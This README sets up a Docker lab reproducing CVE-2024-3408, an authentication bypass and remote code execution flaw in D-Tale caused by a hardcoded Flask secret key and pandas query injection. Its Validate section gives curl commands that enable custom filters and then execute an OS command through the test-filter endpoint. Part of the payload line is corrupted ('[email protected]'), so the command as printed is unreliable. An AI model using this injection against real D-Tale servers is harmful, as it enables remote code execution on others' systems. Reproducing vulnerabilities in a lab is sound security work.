CVE-2024-3408 - D-Tale Authentication Bypass & RCE

Reproducible lab environment for CVE-2024-3408, an authentication bypass and remote code execution vulnerability in D-Tale.

Vulnerability

D-Tale versions up to 3.15.1 are vulnerable due to:

1. Hardcoded SECRET_KEY ("Dtale") for Flask session signing - allows session cookie forgery
2. Code execution via custom filters - the test-filter endpoint uses pandas query which can be abused to execute arbitrary Python code

CVSS: 9.8 (Critical)
Affected: D-Tale <= 3.15.1

Quickstart

docker compose up -d --build

D-Tale will be available at http://localhost:40000

Validate

# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}

# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
  --data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)